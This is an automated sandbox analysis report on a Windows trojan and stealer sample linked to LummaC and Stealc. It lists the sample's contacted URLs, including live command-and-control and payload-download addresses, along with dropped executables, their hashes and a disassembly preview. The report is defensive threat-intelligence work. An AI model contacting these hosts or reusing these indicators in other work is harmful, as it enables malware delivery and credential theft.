https://tacitglibbr.biz/pi	NYMPo215Qd.exe, 00000000.00000003.2314567783.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2275341287.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2278442082.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apiSD	NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exeI	NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/H	NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exes	NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php~	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/x	NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	NYMPo215Qd.exe, 00000000.00000003.2231685089.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/api)	NYMPo215Qd.exe, 00000000.00000003.2275464025.0000000005E51000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2230717729.0000000005E51000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2230392761.0000000005E51000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.mozilla.or	NYMPo215Qd.exe, 00000000.00000003.2231593585.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/apip	NYMPo215Qd.exe, 00000000.00000003.2181592133.0000000001579000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe	NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php-	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	NYMPo215Qd.exe, 00000000.00000003.2231685089.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php2	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DB5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	NYMPo215Qd.exe, 00000000.00000003.2230764410.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	NYMPo215Qd.exe, 00000000.00000003.2397815720.00000000015DD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	NYMPo215Qd.exe, 00000000.00000003.2182407307.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, NYMPo215Qd.exe, 00000000.00000003.2182301539.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tacitglibbr.biz/H	NYMPo215Qd.exe, 00000000.00000003.2255073832.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	NYMPo215Qd.exe, 00000000.00000003.2231941654.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpU	8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, 00000004.00000002.2533890717.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.50.161	tacitglibbr.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576159
Start date and time:	2024-12-16 15:37:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NYMPo215Qd.exe renamed because original name is a hash value
Original Sample Name:	591c23cae68a9c792a7eb65cebc40b52.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe, PID 992 because there are no executed function
Execution Graph export aborted for target NYMPo215Qd.exe, PID 6508 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: NYMPo215Qd.exe

Simulations

Behavior and APIs

Time	Type	Description
09:38:03	API Interceptor	9x Sleep call for process: NYMPo215Qd.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.50.161	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	I37faEaz1K.exe	Get hash	malicious	LummaC	Browse
	3cb2b5U8BR.exe	Get hash	malicious	LummaC	Browse
185.215.113.206	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tacitglibbr.biz	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	yYJUaOwKa8.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	hiip7UoiAq.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	172.67.164.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ak3o7AZ3mH.exe	Get hash	malicious	Babadeda, Conti, Mimikatz	Browse	104.26.0.5
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSL813n1NSUgoHlh-2FH8jVXE55TTo10JYMDP3MpP9biJ-2BivxRElKJfGcSf3Wm0bk6-2BuL6x9TaALAI-2BL1qw1Dee2Qg-3DwH82_lUpiXeYCZ5wahax4fkypnG65rENS0eHcuXkODr9BV8nkC0Nc6-2BAihSf0cmYNntTLO4SyowozBXe6Qe-2Bbp-2FFF3a1FIQOXuBqEKUpfXMQ5PPxSuhMxN-2FGKw6aVp7-2FrJaFsaK3MxWcXiB-2FQGWayulE8-2FtCvMhmv4KaADpZ-2B0qQmLVPxqh24uJt9FaNBQBIm1l70gJHtveQ3b-2FplaZ4NS9-2FFv9-2FcAZ4BnOdGLbd-2BNZzE9Ba47yxwqIyGzlJ-2BmDN57eM41CachqUTFf5upDlE1JEwIy6eZ7t9nvf-2Fc9lQV8qupSe0IpWj5cFkfBjNJ9myaj1i3KCzGOXUSk-2F4E-2FHX-2BkuwdmqzU7u2OKMrHZeEXOJLiSw-3D#C	Get hash	malicious	Unknown	Browse	172.67.140.19
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.64.1
	https://qidinfissi.powerappsportals.com/	Get hash	malicious	Unknown	Browse	104.18.3.157
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	arm.elf	Get hash	malicious	Unknown	Browse	162.159.133.234
	https://iwr.soundestlink.com/ce/c/676002d8893d08b60d0548a9/67600e317a8dc234ff2c418f/67600e4e1033e9cdafe04236?signature=d71ee5ef2af4c3905acd300a8f3b595d0164d440b8def5e7254a839fa6b579a9	Get hash	malicious	Unknown	Browse	172.64.145.78
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
WHOLESALECONNECTIONSNL	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	xbBhIKxITG.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	54FApnc7eR.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	104.21.50.161
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	104.21.50.161
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	104.21.50.161
	h.html	Get hash	malicious	Unknown	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\G9H9BE2GP1UE0C9AS5I0G1FKO.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe

Download File

Process:	C:\Users\user\Desktop\NYMPo215Qd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.946069369366298
Encrypted:	false
SSDEEP:	49152:PlBsiXXQPpeAy1tLPyRG2G6qCkBfxeFaE9Pd:PlBpAYASdPyRGGkBfoFaE9P
MD5:	E33DC32F04E77BC26482BACCB87B9795
SHA1:	E4A57EAD636BD006CECB7D9EC5E9AA36432E1372
SHA-256:	B2ECBACAF99DB2C41066C1914B8B3116B5E25683E6552802A24B08D00D563431
SHA-512:	13D735438D20B0D352719C6E32584ED6ABFAAD6092FF9124393B3F1C6D6AA4314D0CE27C16CC654583973369572EC823423BE9BE04E34C50184976C0A35C96CF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: qvkwOs4JfC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg............................ i...........@..........................Pi......:....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...szaazyea.....@O......~..............@...jswuitsr......i......D..............@....taggant.0... i.."...H..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe

Download File

Process:	C:\Users\user\Desktop\NYMPo215Qd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2776576
Entropy (8bit):	6.486965983209839
Encrypted:	false
SSDEEP:	49152:ivUY1xSovjUjEK/gbc/3axvGp+1X/I97VJArrI/fKe:QUY7fjUgK/5/GvYIQpAI3
MD5:	F86C08A75747002A2A7CD3FBC5FE05C8
SHA1:	7B9776338FE3A06350C16BC62E927F5BA6490723
SHA-256:	5B4D3426CD705909F38F2A136E2A5A1E593FD66A68C01B0E715F533D20A4218A
SHA-512:	2B8AB4CB0D7ABA429F5835462A1C16DD4D0BC1A13C40C5DDF27A900295CA3C168DBA79B8AF97B26F80017755514E43F71120F1C309DECE1FABD41D9147E63790
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: qvkwOs4JfC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+......R+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...rogrptwg.........)..:..............@...cpllbfsp. ..........8.............@....taggant.@......"...<.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948481061177388
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NYMPo215Qd.exe
File size:	1'896'448 bytes
MD5:	591c23cae68a9c792a7eb65cebc40b52
SHA1:	8099f5a9458238225dd7d12811a0e57961b1d8b0
SHA256:	ef123e56243004263637a0ec051578cebffbbe35f1d9cff18b4d9936ddd2d2a0
SHA512:	23c3ddb2f9a72c7aedfd5a4f7d1eeff8bb2a6d5be4e4170470286276b6e37ad4580c596ec3f692171f9c74ca41362c8cf4ebf97339059409db661575c6c9b03e
SSDEEP:	49152:CiU64is+eQw+9/uTQuSLNPKXCu1ZptAjXE:CTQwQGMuKk1Zp
TLSH:	63953338EAA5B0A9C13829F9B5A843E0F1227B7F16E854BDC8770D2919E1F75346FC14
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................@K...........@..........................pK.....IN....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9F3881C0BAh
bswap esi
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9F3881E0B5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
